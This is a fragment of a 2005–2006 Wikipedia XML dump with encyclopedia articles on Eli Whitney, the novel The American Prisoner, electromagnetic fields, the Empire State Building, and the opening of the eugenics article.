*[http://www.whitneygen.org/archives/biography/eli.html Eli Whitney Biography] on the [http://www.whitneygen.org/ Whitney Research Group] website.

[[Category:1765 births|Whitney, Eli]]
[[Category:1825 deaths|Whitney, Eli]]
[[Category:American engineers|Whitney, Eli]]
[[Category:American inventors|Whitney, Eli]]
[[Category:Business theorists|Whitney, Eli]]
[[Category:Firearm designers|Whitney, Eli]]
[[Category:People from Massachusetts|Whitney, Eli]]
[[Category:Yale alumni|Whitney, Eli]]

[[de:Eli Whitney]]
[[es:Eli Whitney]]
[[fr:Éli Whitney]]
[[pl:Eli Whitney]]
[[pt:Eli Whitney]]
[[sv:Eli Whitney]]</text>
    </revision>
  </page>
  <page>
    <title>The American Prisoner</title>
    <id>9734</id>
    <revision>
      <id>32795348</id>
      <timestamp>2005-12-26T20:42:22Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>fmt</comment>
      <text xml:space="preserve">'''''The American Prisoner''''' is a [[novel]] written by [[Eden Phillpotts]], adapted into a film in [[1929]].  The story concerns an English woman who lives at [[Fox Tor]] farm, and an American captured during the [[American Revolutionary War]] and held at the prison at [[Princetown, England|Princetown]] on [[Dartmoor]].  

The heroine's father, Maurice Malherb, is based on [[Thomas Windeatt]].  

In the novel Malherb is a miscreant who destroys [[Childes Tomb|Childe's tomb]] and beats his servant.  He is depicted as a victim of his own bad temper rather than a sadist.  

Malherb is introduced as the younger son of a noble family and he builds the Fox Tor house to be the impressive gentleman's residence suggested by [[William Crossing]] rather than the humble cottage which it actually is.

[[Category:1929 films|American Prisoner, The]]</text>
    </revision>
  </page>
  <page>
    <title>Electromagnetic field</title>
    <id>9735</id>
    <revision>
      <id>42155465</id>
      <timestamp>2006-03-04T04:37:48Z</timestamp>
      <contributor>
        <username>Naconkantari</username>
        <id>676502</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/144.122.128.91|144.122.128.91]] ([[User talk:144.122.128.91|talk]]) to last version by 216.166.159.185</comment>
      <text xml:space="preserve">{{cleanup-date|December 2005}}

An electromagnetic field is composed of two related [[Vector_%28spatial%29|vector]] [[Field (physics)|fields]]: the [[electric field]] and the [[magnetic field]]. When referred to as ''the'' electromagnetic field, the field is imagined to encompass all of [[space]]; typically an electromagnetic field is considered to be limited to a local area around an object in space.

The [[vector (spatial)|vector]]s ('''E''' and '''B''') that characterize the field have their values defined at every point of space and time. 
The field is said to be an [[electrostatic field]] when the [[electric field]] ('''E''') is non-zero and is constant in time.

The electric and magnetic fields are linked by [[Maxwell's equations]].

Electromagnetic fields can be explained with a quantum basis by [[quantum electrodynamics]].

==Behavior of the electromagnetic fields==
;(A [[fluid dynamics|hydrodynamic]] interpretation)

===Incompressible fluids===
The electric and magnetic vector fields can be thought of as being the velocities of a pair of [[Perfect_fluid|incompressible fluids]] which permeate space. In the absence of charges these fluids would be at rest, so that their velocity fields would be zero. Since both fluids are incompressible, their densities do not change: it is not possible to compress magnetic or electric fluid into a smaller space.

==Source and Sinks==
[[Electric charge]]s act either as [[Divergence|sources or sinks]] of the electric fluid.  An [[electron]] is constantly absorbing electric fluid around it at some rate, call it &amp;epsilon;.  [[Proton]]s are the reverse: they constantly pour electric &quot;fluid&quot; towards the surrounding space at rate &amp;epsilon;, so fluid moves away from the proton with speed
:&lt;math&gt; v = {\epsilon \over 4 \pi r^2} &lt;/math&gt;
(where ''r'' is distance of the fluid away from the proton) so that the total [[flux]] of fluid going through any (imaginary) sphere which contains that proton is the area of the sphere times the speed of the fluid flowing through it: &lt;math&gt; 4 \pi r^2 \cdot v = \epsilon &lt;/math&gt;.

===The two fluids===
Magnetic fluid, on the other hand, has [[Solenoidal_vector_field|no sources or sinks]]: there are no [[Magnetic_monopoles|magnetic charges]] that could pour out or suck up magnetic fluid. If magnetic fluid is standing still, it can be stirred up, making it move in closed circles and closed loops (see [[vortical]] motion).

For a magnetic fluid to keep moving in the same loop, though, some force has to keep stirring it up: otherwise the energy of its circular motion will dissipate and the magnetic fluid will stop moving and will return to rest.

===The vortex===
If electric fluid starts to accelerate in a certain direction, it will cause a [[vortex]] of magnetic fluid to move in circles around the direction in which the electric fluid is accelerating (according to the [[right hand rule]]).  As soon as the electric fluid stops accelerating, the vortex of magnetic fluid vanishes.

Notice that electric fluid will not accelerate spontaneously; something has to force it to accelerate.  This same thing then indirectly causes the magnetic vortex to be stirred up: a magnetic vortex will not arise spontaneously.

Finally, if magnetic fluid accelerates in a certain direction, it causes electric fluid to move in a vortex which circles around the direction of acceleration in the direction opposite to the right hand rule.

===Summary===
To summarise, an acceleration of the electric fluid causes a positive vortex of magnetic &quot;fluid&quot; to move around it, but an acceleration of the magnetic fluid causes a negative vortex of electric fluid to flow around it.

===Negative Feedback Loop===
The opposite signs of acceleration create a [[negative feedback]] loop (see [[Lenz's law]].)  An acceleration of electric fluid causes a positive magnetic vortex.  This means that the magnetic fluid has been accelerated to produce this circular flow.  But this causes a negative vortex of electric fluid around the magnetic vortex.  This reactive vortical acceleration of electric fluid is in the direction opposite of the original acceleration of electric fluid: hence a negative feedback loop:
:&lt;math&gt; \Delta E \rightarrow + \Delta B &lt;/math&gt;
:&lt;math&gt; - \Delta E \leftarrow + \Delta B &lt;/math&gt;.

===Positive Feedback Loop===
If there were a [[positive feedback]] loop, the result might be similar to the high pitched resonant effect produced by a microphone too close to its speaker.  The positive feedback would cause the original acceleration of electric fluid to amplify itself continually, while at the same time the vortices around it would amplify as well; an explosive maelstrom of movement! However, the laws of electromagnetism and [[conservation of energy]] being what they are, an initial disturbance (acceleration) of the electric fluid will cause a feedback loop that, being negative, will tend to extinguish itself at its source but which will propagate outwards in what is called an [[electromagnetic wave]].

==Flaw in the velocity field interpretation==
The fluid analogy is flawed, in that objects immersed in a moving fluid (e.g. a river) tend to be pushed by that fluid in such a way that the velocity of the object aligns with the velocity of the fluid.  Once the velocities are aligned, the fluid's motion should vanish from the object's point of view.

However, the force of an electric field on a charged particle is &lt;math&gt; \mathbf{F} = q \mathbf{E} &lt;/math&gt;, a force that is independent of the velocity of the particle.  This means that the particle will accelerate continually in the direction of the field.  If the field were the velocity field of a fluid then the fluid would cause the object to accelerate continually in the direction of the fluid's motion, to the point that the object's speed becomes [[paradox|paradoxically]] far greater than that of the fluid is in which it is immersed.

From the continually accelerating object's point of view (see [[principle of relativity]]), if its speed has already surpassed the speed of the fluid, then the fluid is moving backwards; the field should be pointing in the direction opposite to the direction in which the object keeps accelerating.  This means that the object should stop accelerating and begin decelerating, until its speed aligns with the speed of the electric fluid.

==The field as a stream of moving photons==
An alternative interpretation would be that the field is not actually a velocity field, but a [[flux]] density field of [[photon|photonic]] fluid, which is constantly moving at the same speed: the [[speed of light]], independent of the speed of the observer (the charged object).  Photonic fluid never changes speed but can change net direction and the intensity of its net movement in that direction.

The velocity field interpretation is related to the hypothesis of a [[luminiferous aether]] through which electromagnetic waves would propagate.  The proposition that the motion of the earth relative to the aether might be detectable (i.e. through an &quot;aether wind&quot;) was disproven by the [[Michelson-Morley experiment]], whereupon it was argued that the experiment had disproved the very existence of the aether. This opinion prevailed, but remains disputed by some who equate the classical concept of the aether with the modern notion of a [[Quantum_electrodynamics|quantum electrodynamic]] fluid. (The disputants argue that proving that the earth does not travel through an &quot;aether wind&quot; is no more nor less significant than proving that the earth does not travel through its own gravitational or magnetic fields.) The necessity of an aether was seen to have vanished when it was replaced by [[Albert Einstein|Einstein]]'s [[theory of relativity]].

According to [[special relativity]], the [[Lorentz force]] equation reduces to the equation
:&lt;math&gt; \mathbf{F} = q \mathbf{E}. &lt;/math&gt;
The magnetic field becomes a relativistic by-product of the electric field, i.e. [[Lorentz transformations]] cause magnetic fields to be induced from electric fields, and vice versa.  So the photonic fluid describes the electric field, and relativistic effects account for the derivative magnetic field.  (This can be derived by applying a Lorentz transformation to a simplified version of [[Maxwell's equations]], and it is mentioned by Einstein in his paper ''On The Electrodynamics Of Moving Bodies'' [http://www.fourmilab.ch/etexts/einstein/specrel/www/].)

The [[speed]] of light is [[Invariant_%28physics%29|invariant]] under a Lorentz transformation, but the [[velocity]] of light is changed.  The component of the velocity of light parallel to the [[Coordinate rotation#Relativity|boost]] is left unchanged, but the transverse component is rotated: it is accelerated in a direction parallel to the boost.  The addition of special relativity allows the combination of the electric and magnetic fields into a single [[tensor field]].  The tensor character of this combined electromagnetic field implies that the field is [[anisotropic]] with respect to the velocity of the charged particle on which it produces a force: the [[Lorentz force]] varies with the velocity of the charged particle.

==Light and electromagnetic waves==
Electrically charged particles are constantly emitting (or absorbing) photonic fluid, which is more commonly known as [[light]].  So how is light related to electromagnetic waves?  Electromagnetic (E-M) waves are the undulatory movements of light, which can always be observed to be emitted by electric charges undergoing [[acceleration]].

If a charged particle is at rest, then it does not emit electromagnetic waves.  Instead, it is surrounded by an [[electrostatic field]].  If a charged particle is in [[Inertial_frame_of_reference|inertial motion]], then the electrostatic field is joined by a [[magnetostatic field]].  This pair of static fields produce a movement of electromagnetic energy (i.e. a field of non-zero [[Poynting vector]]s), which is similar to an electromagnetic wave, except that the fields are not oscillating.

E-M waves are propagating, expanding, [[simple harmonic motion|harmonic]], [[oscillation|oscillating]] accelerations of the photonic fluid.  Since the photonic fluid itself moves at the speed of light (by definition), then E-M waves can move no faster than the speed of light.  E-M waves move at a speed close to the speed of light, depending on the [[medium]] through which they move (e.g. faster in air than through water, and faster through water than through a glass [[lens (optics)|lens]]).

==The electromagnetic field as a feedback loop==
The behavior of the electromagnetic field can be resolved into four different parts of a loop: (1) the electric and magnetic fields are generated by electric charges, (2) the electric and magnetic fields interact only with each other, (3) the electric and magnetic fields produce forces on electric charges, (4) the electric charges move in space.

The feedback loop can be summarized in a list, including phenomena belonging to each part of the loop:
* charges generate fields
** [[Gauss's law]] [[Coulomb's law]]: charges generate electric fields
** [[Ampère's law]]: currents generate magnetic fields (&lt;math&gt;\star&lt;/math&gt;)
* the fields interact with each other
** [[displacement current]]: changing electric field acts like a current, generating vortex of magnetic field
** [[Faraday's law of induction|Faraday induction]]: changing magnetic field induces (negative) vortex of electric field
** [[Lenz's law]]: negative feedback loop between electric and magnetic fields
** [[Maxwell-Hertz equations]]: simplified version of [[Maxwell's equations]]
** electromagnetic [[wave equation]]
* fields act upon charges
** [[Lorentz force]]: force due to electromagnetic field
*** electric force: same direction as electric field
*** magnetic force: perpendicular both to magnetic field and to velocity of charge (&lt;math&gt;\star&lt;/math&gt;)
* charges move
** [[continuity equation]]: current is movement of charges

Phenomena in the list are marked with a star (&lt;math&gt;\star&lt;/math&gt;) if they consist of magnetic fields and moving charges which can be reduced by suitable [[Lorentz transformation]]s to electric fields and static charges.  This means that the magnetic field ends up being (conceptually) reduced to an appendage of the electric field, i.e. something which interacts with reality only indirectly through the electric field.

==See also==
*[[antenna (electronics)|antenna]]
*[[bremsstrahlung]]
*[[Classification of electromagnetic fields]]
*[[Closed waveguide]]
*[[Coulomb's law]]
*[[electric field]]
*[[electrodynamics]]
*[[electromagnetic interaction]]*
*[[electromagnetic radiation]]
*[[electromagnetic radiation hazard]]
*[[electromagnetic spectroscopy]]
*[[electromagnetic spectrum]]
*[[far-field region]]
*[[Flux]]
*[[Fresnel zone]]
*[[Fresnel equations]]
*[[holography]]
*[[intensity]]
*[[list of environment topics]]
*[[Magneto-optic]] effect
*[[Mode field diameter]]
*[[Near-field region]]
*[[perinormal phenomenon]]
*[[photoelectric effect]]
*[[Radiometry]]
*[[Speckle pattern]]
*[[Surface wave]]

==External links==
*[http://www.fourmilab.ch/etexts/einstein/specrel/www/ On the Electrodynamics of Moving Bodies] by [[Albert Einstein]], June 30, 1905.
*[http://www.fourmilab.ch/etexts/einstein/specrel/specrel.pdf On the Electrodynamics of Moving Bodies] (pdf)
* [http://monographs.iarc.fr/htdocs/monographs/vol80/80.html Non-Ionizing Radiation, Part 1: Static and Extremely Low-Frequency (ELF) Electric and Magnetic Fields (2002)] by the [[International Agency for Research on Cancer|IARC]].
* [http://www.greenfacts.org/power-lines/index.htm A summary of the previous report] by [[GreenFacts]].

[[Category:Electromagnetism]]
[[Category:Equations]]

[[ca:Camp electromagnètic]]
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[[id:Medan elektromagnetik]]
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    </revision>
  </page>
  <page>
    <title>Empire State Building</title>
    <id>9736</id>
    <revision>
      <id>42087479</id>
      <timestamp>2006-03-03T19:15:18Z</timestamp>
      <contributor>
        <username>Shunpiker</username>
        <id>632319</id>
      </contributor>
      <comment>/* History and statistics */ ESB was first building with &gt; 100 floors</comment>
      <text xml:space="preserve">{{Infobox World's Tallest Building
|building_name= Empire State Building
|image= [[Image:Manhattan at Dusk by slonecker.jpg|center|200px|Empire State Building]]
|previous_building= [[Chrysler Building]]
|year_built= [[1931]]
|surpassed_by_building= [[World Trade Center]]
|year_end= [[1972]]
|location= [[New York City]], [[USA]]
|height_meters= 381 (roof)
|height_feet= 1,250 (roof)
|height_stories= 102
|construction_period= [[1931]]
|destroyed=
|emporis_id=114095}}

The '''Empire State Building''', a 102-story contemporary [[Art Deco]] style building in [[New York City]], was designed by [[Shreve, Lamb and Harmon]] and finished in [[1931]].  The tower takes its name from the [[List of U.S. state nicknames|nickname]] of [[New York State]] and is currently the tallest building in New York City.

The [[American Society of Civil Engineers]] declared the Empire State Building as one of the modern [[Seven Wonders of the Modern World|Seven Wonders of the World]].  The building also belongs to the [[World Federation of Great Towers]]. 

==History and statistics==
[[Image:Looking_Up_at_Empire_State_Building.JPG|left|thumb|150px|Looking up at the Empire State Building.]]
Excavation of the site for the Empire State Building began on January 22, 1930, and construction on the building itself started on March 17th.  The project was hurried to completion in order to take the title of &quot;world's tallest building&quot; from the [[Chrysler Building]].  The Empire State Building was officially opened on May 1, 1931, when President Herbert Hoover pressed a button in Washington, D.C. turning on the building's lights.  

The ESB was the first building to have more than 100 floors. It remained the tallest skyscraper in the world for a record 41 years (and the world's tallest man-made structure for 23 years) until the construction of the [[World Trade Center]], and shortly afterwards the [[Sears Tower]]. Following the [[September 11, 2001 attacks]], the Empire State Building regained the title of tallest building in [[New York City]], and the 2nd tallest building in the [[United States]] (see the [[50 Tallest buildings in the U.S.]] list).

The building's distinctive art deco [[spire]] was originally designed to be a mooring mast and depot for [[zeppelin]]s.  However, after a couple of brief attempts, the idea proved to be impractical and dangerous due to the powerful updrafts caused by the size of the building itself, though the T-shaped mooring devices remain in place.

The lobby is three stories high and contains an aluminum relief of the skyscraper. The north corridor contains eight illuminated panels, created by Roy Sparkia and Renée Nemorov in 1963, depicting the building as the [[Eighth Wonder of the World]] alongside the traditional seven.

[[Image:Old timer structural worker.jpg|right|thumb|150px|Worker screwing a bolt into a beam during the construction of the Empire State Building]]
The Empire State Building rises to [[Foot (unit of length)|1,250 feet]] or [[1 E2 m|381 m]] at the 102nd floor, and its full structural height (including broadcast antenna) reaches [[Foot (unit of length)|1,472 feet]] or [[1 E2 m|448 m]]. The building was officially opened on [[May 1]], [[1931]], but much of its office space went unrented until the [[1940s]]. This lack of inhabitants earned it the nickname &quot;Empty State Building&quot; in its early years. The large broadcasting antenna rising from the top of the building's spire was added in [[1952]].

A public observatory at the top of the building offers impressive views of the city, and is a popular tourist destination. Floodlights illuminate the top of the building at night, in colors chosen to match seasonal and other events.  After the death of [[Frank Sinatra]], for example, the building was bathed in blue light to represent the singer's nickname &quot;Ol' Blue Eyes.&quot;

The floodlights bathed the building in red, white, and blue for several months after the destruction of the [[World Trade Center]], then reverted to the [http://www.esbnyc.com/tourism/tourism_lightingschedule.cfm?CFID=15475194&amp;CFTOKEN=55096369 standard schedule].

The building weighs approximately 330,000 [[Tonne|metric tonnes]].  The building has 6,500 windows, 73 [[elevator]]s, and 1,860 steps to the top floor. Total floor area: 204,385 m&amp;sup2; (2,200,000 ft&amp;sup2; or 50.5 acres) It is located at 350 [[Fifth Avenue]], [[ZIP Code]] 10118, between 33rd and [[34th Street (Manhattan)|34th]] Streets, in [[Midtown, Manhattan]], directly across from [[Weehawken Cove]], on the other side of the [[Hudson River]].

Although the lower floors occupy the entire block, there are various &quot;setbacks&quot; in the building's design, as required by the New York City zoning law of 1916, to prevent the building from casting quite such a large shadow on its neighbors.

The building stands on a block once occupied by the original [[Waldorf-Astoria Hotel|Waldorf Hotel]], a haven for [[The Four Hundred]], the social elite of New York in the late 19th Century. Previous to that, the site had first been developed as the John Thomson Farm, in the late 18th century.

===1945 plane crash===
At 9:49 a.m. on Saturday [[July 28]], [[1945]], a [[B-25 Mitchell]] [[bomber]] accidentally crashed into the north side between the 79th and 80th floors, where the offices of the [[National Catholic Welfare Council]] were located. The fire was extinguished in 40 minutes. 14 people were killed in the accident.
[http://www.tms.org/pubs/journals/JOM/0112/News/News8-0112.html]

During the accident, elevator operator Betty Lou Oliver survived a plunge of 75 stories inside an elevator, and currently holds the [http://www.guinnessworldrecords.com/content_pages/record.asp?recordid=53746 Guinness World Record] for the longest elevator fall recorded.

==Media==
[[Image:Empire State Lobby.jpg|thumb|right|150px|Entrance lobby]]
The Empire State Building has been described as &quot;the most valuable building in American broadcasting&quot;.  New York City is the largest media market in the United States, and since [[September 11, 2001 attacks|September 11, 2001]], nearly all of New York's commercial broadcast stations (both television and radio) have transmitted from the top of Empire.  A few stations are located at the nearby [[Conde Nast Building]], however.

Broadcasting began at Empire in the late 1930s, when [[RCA]] leased the 85th floor and built a laboratory there for [[Edwin Howard Armstrong]].  When Armstrong and RCA fell out, the 85th floor became the home of RCA's New York television operations, first as an experimental station and eventually as a commercial station WNBT, channel 4 (now [[WNBC-TV]]).  Other television broadcasters would join RCA at Empire, on the 83rd, 82nd, and 81st floors, frequently bringing sister FM stations along for the ride.  When the [[World Trade Center]] was being constructed, it caused serious problems for the television stations, most of which moved to the World Trade Center as soon as it was completed.  This made it possible to renovate the antenna structure and the transmitter facilities for the benefit of the FM stations remaining there, which were soon joined by other FMs and UHF TVs moving in from elsewhere in the metropolitan area.  The destruction of the World Trade Center necessitated a great deal of shuffling of antennas and transmitter rooms in order to accommodate the stations moving back uptown.

[[As of 2005]], Empire is home to the following stations:
* TV: [[WCBS-TV]] 2, [[WNBC-TV]] 4, [[WNYW]] 5, [[WABC-TV]] 7, [[WWOR-TV]] 9 [[Secaucus, New Jersey|Secaucus]], [[WPIX-TV]] 11, [[WNET]] 13 [[Newark, New Jersey|Newark]], [[WNYE-TV]] 25, [[WXTV]] 41 [[Paterson, New Jersey|Paterson]], [[WNJU]] 47 [[Linden, New Jersey|Linden]], and [[WFUT-TV]] 68 Newark
* FM: [[WFNY-FM]] 92.3, [[WPAT-FM]] 93.1 Paterson, [[WNYC-FM]] 93.9, [[WPLJ]] 95.5, [[WQXR-FM]] 96.3, [[WQHT-FM]] 97.1, [[WSKQ-FM]] 97.9, [[WRKS-FM]] 98.7, [[WBAI]] 99.5, [[WHTZ]] 100.3 Newark, [[WCBS-FM]] 101.1, [[WQCD]] 101.9, [[WNEW]] 102.7, [[WKTU]] 103.5 [[Lake Success, New York|Lake Success]], [[WAXQ]] 104.3, [[WWPR-FM]] 105.1, [[WCAA]] 105.9 Newark, [[WLTW]] 106.7, and [[WBLS]] 107.5.

==In pop culture==
[[Image:Skyscrapercompare1.PNG|thumb|200px|The Empire State Building's height compared to other notable skyscrapers.]]
[[Image:Empire_State_Building_Night.jpg|thumb|200px|The Empire State Building at night.]]
[[Image:Hindenburgiii.jpg|thumb|200px|The mooring mast was used only once, here it is shown in ''Sky Captain and the World of Tomorrow''.]]

*Perhaps the most famous popular culture representation of the building is in the [[1933]] [[film]] ''[[King Kong (1933 film)|King Kong]]'', in which the title character, a giant ape, climbs to the top to escape his captors, and eventually dies by falling off of it. In [[1983]], for the 50th anniversary of the film, an inflatable King Kong was placed on the real Empire State Building. However, a mouse chewed through it one day, partially deflating the ape. He also needed a constant supply of air, and was never fully inflated. In 2005, [[Peter Jackson]], director of the blockbuster [[Lord of the Rings]] movies, released a new version of [[King Kong (2005 film)|King Kong]] set in a recreation of 1930's New York City, including a final showdown between Kong and the bi-planes atop a greatly detailed Empire State Building.
*The observation deck was the designated site for romantic rendezvous in the films ''[[Love Affair]]'', ''[[An Affair to Remember]]'', ''[[Sleepless In Seattle]]'', and a phony [[Martian]] invasion in an episode of ''[[I Love Lucy]]''.
*The film ''[[Sky Captain and the World of Tomorrow]]'' opens with a zeppelin docking at the building's mooring mast. Additionally, the building can be seen with King Kong scaling it in the background of one of the shots.
*An episode of the [[Supermarionation]] [[science fiction]] series ''[[Thunderbirds (television)|Thunderbirds]]'' involves an attempt to move the Empire State Building on tracks to a new location, failing with the collapse of the building.
*In the 300th issue of Superman magazine, the Empire State building is refurbished during the early [[1980]]'s to reclaim the title of world's tallest building; rising 1000 stories.
*In the movie ''[[Independence Day (movie)|Independence Day]]'', the building is [[ground zero]] when an alien spaceship destroys New York City.  This depiction was a homage to a similar SF invasion movie scene described in the [[science fiction]] short story ''&quot;Publicity Campain&quot;'' by [[Arthur C. Clarke]]. .
*In ''[[The Chase (Doctor Who)|The Chase]]'', a 1965 serial from the [[William Hartnell]]-era of ''[[Doctor Who]]'', the [[Doctor (Doctor Who)|Doctor]], [[Barbara Wright (Doctor Who)|Barbara Wright]], [[Ian Chesterton]] and [[Vicki]], fleeing through time and space with a group of [[Dalek]]s in hot pursuit, arrive in their [[TARDIS]] time machine on the Observation Deck of the Empire State Building (thus avoiding the long lines). They leave shortly after arriving and shortly before the pursuing Daleks' time machine materializes. The Daleks, ignoring the view, leave almost immediately.
*The building has a cameo role in the [[1946]] [[cartoon]] ''Baseball Bugs''. Fitting the cartoon's theme, the skyscraper is labeled the &quot;[[Umpire]] State Building&quot;.
*In ''[[Godzilla: Final Wars]]''. the [[pterosaur]] [[Rodan]] perches atop the skyscraper and howls at the moon before continuing his rampage on New York City eventually destroying the [[Statue of Liberty]].
* In ''[[Unbuilding]]'', by [[David Macaulay]], the building is bought and dissassembled, to be reassembled halfway across the world as a corporate headquarters.
* In the [[2003 in film|2003]] Christmas-themed film ''[[Elf (film)|Elf]]'', [[Will Ferrell]]'s father, played by [[James Caan]], works in a publishing company in the building.
* In the 2 parter season 4 episodes of [[Star Trek: Enterprise]], [[Storm Front (Enterprise episode) | Storm Front]], there is an alternate timeline where the eastern side of the [[United States]] is being conquered by the Germans, with the aid of aliens. The opening teaser of part 2, shows a propaganda news reel which shows footage of [[Adolf Hitler]] visiting [[New York]], and the Empire State Building.
* In [[Futurama]] episode Anthology of Interest I, huge Bender falls on the Empire State Building. He says before dying: &quot;Oooh... who put this in here?&quot;
* In the video game [[Spider-Man 2 (video game)|Spider-Man 2]], you can explore, wing from and climb the Manhattan skyscrapers, including the ESB. It is common for a player to climb to the top and dive off, seeing how close to the ground he can get before bailing out on a web-line.

==Similar skyscrapers==
The [[Torre Latinoamericana]] in Mexico City looks very similar to the Empire State Building. Also from similar design are the [[Seven Sisters (Moscow)|Seven Sisters]] in Moscow, like the building of the [[Moscow State University]] and the [[Palace of Culture and Science]] in Warsaw, Poland.

[[Image:Skyline-New-York-City.jpg|thumb|center|800px|Panorama of New York City from Empire State Building in the spring of 2005.]]
&lt;div style=&quot;clear: both&quot;&gt;&lt;/div&gt;

==See also==
*[[Buildings and architecture of New York City]]
*[[50 Tallest buildings in the U.S.]]
*[[Tallest buildings in New York City]]
*[[List of skyscrapers]]
*[[Skyscrapers in film]]

==Further reading==
*''The Empire State Building Book'', by Jonathan Goldman, St. Martin's Press, 1980.
*''Unbuilding'', by David Macaulay, Houghton Mifflin, 1986.
*''The Empire State Building - The making of a landmark'', by John Tauranac, Scribner, 1995.

==External links==
*[http://www.esbnyc.com/tourism/tourism_history_timeline.cfm ESB History Timeline]
*[http://www.nyc-architecture.com/MID/MID073.htm New York Architecture Images- The Empire State Building]
*[http://manhattan.about.com/od/historyandlandmarks/a/empirestate.htm/ Empire State Building Trivia &amp; Fun Facts]
*[http://www.emporis.com/en/wm/bu/?id=114095 Empire State Building on Emporis]
*[http://www.skyscraper-central.com/ESB_drawing_large.htm Skyscraper Central.com - Illustration Entry of The Empire State Building]
*[http://www.nypl.org/research/chss/spe/art/photo/hinex/empire/empire.html The Construction of the Empire State Building, 1930-1931], New York Public Library.
*[http://www.cbsforum.com/cgi-bin/articles/partners/cbs/search.cgi?template=display&amp;dbname=cbsarticles&amp;key2=empire&amp;action=searchdbdisplay The story of Empire State Building]
*[http://www.esbnyc.com/ Empire State Building: Official Internet Site] with [http://www.esbnyc.com/tourism/tourism_lightingschedule.cfm lighting schedule and explanation of colors]
*[http://www.damninteresting.com/?p=179 Article describing the B-25 crash of July 28, 1945]
*[http://www.mergatroyd.org/cam/esbcam.asp Empire State Building web cam]
*[http://www.nycfoto.com/showPage.php?albumID=37 NYCfoto.com] - Photos of Empire State Building
*[http://www.nycfoto.com/showPage.php?albumID=51 NYCfoto.com] - Photos from the inside of Empire State Building (from 29th and 68th floors)
* [http://perrin.olivier.free.fr/new_york_2005/Empire%20State%20Building/index.html Gallery of photographs on the Empire State Building]
* [http://perrin.olivier.free.fr/webcam/menu_webcam/ani_esb.html One day in the life of the Empire State Building]

{{New York City}}
{{Supertall}}

[[Category:Buildings and structures in Manhattan]]
[[Category:Manhattan]]
[[Category:Skyscrapers in New York City]]
[[Category:Skyscrapers over 350 meters]]

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    </revision>
  </page>
  <page>
    <title>Eugenics</title>
    <id>9737</id>
    <revision>
      <id>41663245</id>
      <timestamp>2006-02-28T22:39:00Z</timestamp>
      <contributor>
        <username>DonSiano</username>
        <id>215548</id>
      </contributor>
      <comment>/* Counter-arguments */ ok, I searched the HGP site, found 59 refs to eugenics</comment>
      <text xml:space="preserve">[[Image:Eugenics congress logo.png|right|thumb|275px|''&quot;Eugenics is the self-direction of human evolution&quot;'': Logo from the Second International Congress of Eugenics, 1921, depicting it as a tree which unites a variety of different fields.]] 

'''Eugenics''' is a social philosophy which advocates the improvement of [[human]] [[hereditary]] traits through social intervention. The goals have variously been to create more healthy, [[intelligence (trait)|intelligent]] people, save society [[economics|resources]], and lessen human [[suffering]]. Proposed means of achieving these goals most commonly include [[prenatal testing]] and screening, [[genetic counseling]], [[birth control]], [[selective breeding]], [[In vitro fertilisation]], and [[genetic engineering]]. Critics argue that eugenics is a [[pseudoscience]], and that historically it has been a means whereby social thinking culminated in coercive state-sponsored discrimination and human rights violations, even [[genocide]].

Selective breeding of human beings was suggested at least as far back as [[Plato]], but the modern field was first formulated by [[Francis Galton|Sir Francis Galton]] in [[1865]], drawing on the recent work of his cousin, [[Charles Darwin]]. From its inception, eugenics (derived from the Greek &quot;well born&quot; or &quot;good breeding&quot;) was supported by prominent thinkers (including [[Alexander Graham Bell]] and [[W.E.B. DuBois]]) and was an academic discipline at many colleges and universities. Its scientific reputation tumbled in the [[1930s]], a time when [[Ernst Rüdin]] began incorporating eugenic rhetoric into the [[Racial policy of Nazi Germany|racial policies]] of [[Nazi Germany]]. During the postwar period both the public and the scientific community largely associated eugenics with [[Nazi]] abuses, which included enforced &quot;[[racial hygiene]]&quot; and [[extermination]], although a variety of regional and national governments maintained eugenic programs until the 1970s.

== What is eugenics? ==
Definitions of the term vary.  The term ''eugenics'' is often used to refer to a movement and social policy that was influential during the first half of the twentieth century.  In an historical and broader sense, eugenics can also be a study of &quot;improving human genetic qualities&quot;. It is sometimes more broadly applied to describe any human action whose goal is to improve the [[gene pool]]. Some forms of [[infanticide]] in ancient societies, present-day [[reprogenetics]], pre-emptive abortions and [[designer babies]] have been (sometimes controversially) referred to as eugenics.

Because of its [[normative]] goals and historical association with [[scientific racism]], as well as the development of the science of [[genetics]], the international scientific community has mostly disassociated itself from the term &quot;eugenics&quot;, sometimes referring to it as a pseudo-science, although one can find advocates of what is now known as ''[[liberal eugenics]]''. Modern inquiries into the potential use of genetic engineering have led to an increased invocation of the history of eugenics in discussions of bioethics, most often as a cautionary tale. Some [[bioethics|ethicists]] suggest that even non-coercive eugenics programs would be inherently unethical, though this view has been challenged by such thinkers as [[Nicholas Agar]].

Eugenicists advocate specific policies that (if successful) would lead to a perceived improvement of the human gene pool. Since defining what improvements are desired or beneficial is arguably a [[cultural]] choice rather than a matter that can be determined objectively (e.g. by empirical, scientific inquiry), eugenics has been deemed [[pseudo-science]] by many. The most disputed aspect of eugenics has been the definition of &quot;improvement&quot; of the human gene pool, such as what is a beneficial characteristic and what is a defect. This aspect of eugenics has historically been tainted with [[scientific racism]].

Early eugenicists were mostly concerned with perceived [[intelligence (trait)|intelligence]] factors that often correlated strongly with [[social class]]. Many eugenicists took inspiration from the [[selective breeding]] of animals (where [[purebreed]]s are often strived for) as their analogy for improving human society. The mixing of races (or [[miscegenation]]) was usually considered as something to be avoided in the name of [[racial purity]]. At the time, this concept appeared to have some scientific support, and it remained a contentious issue until the advanced development of [[genetics]] led to a scientific consensus that the division of the human species into unequal races is unjustifiable.

Eugenics has also been concerned with the elimination of [[hereditary diseases]] such as [[haemophilia]] and [[Huntington's disease]]. However, there are several problems with labeling certain factors as &quot;genetic defects&quot;:
* In many cases, there is no scientific consensus on what a &quot;genetic defect&quot; is. It is often argued that this is a more matter of social or individual choice.
* What appears to be a &quot;genetic defect&quot; in one context or environment may not be so in another. This can be the case for genes with a [[heterozygote advantage]], such as [[sickle cell anemia]] or [[Tay-Sachs disease]], which in their [[heterozygote]] form may offer an advantage against, respectively, [[malaria]] and [[tuberculosis]].
* [[List of people with disabilities|Many people]] can succeed in life with disabilities.
* Many of the conditions early eugenicists identified as inheritable ([[pellagra]] is one such example) are currently considered to be wholly or at least partially  attributed to environmental conditions. 
Similar concerns have been raised when a [[prenatal diagnosis]] of a [[congenital disorder]] leads to [[abortion]] (see also [[preimplantation genetic diagnosis]]).

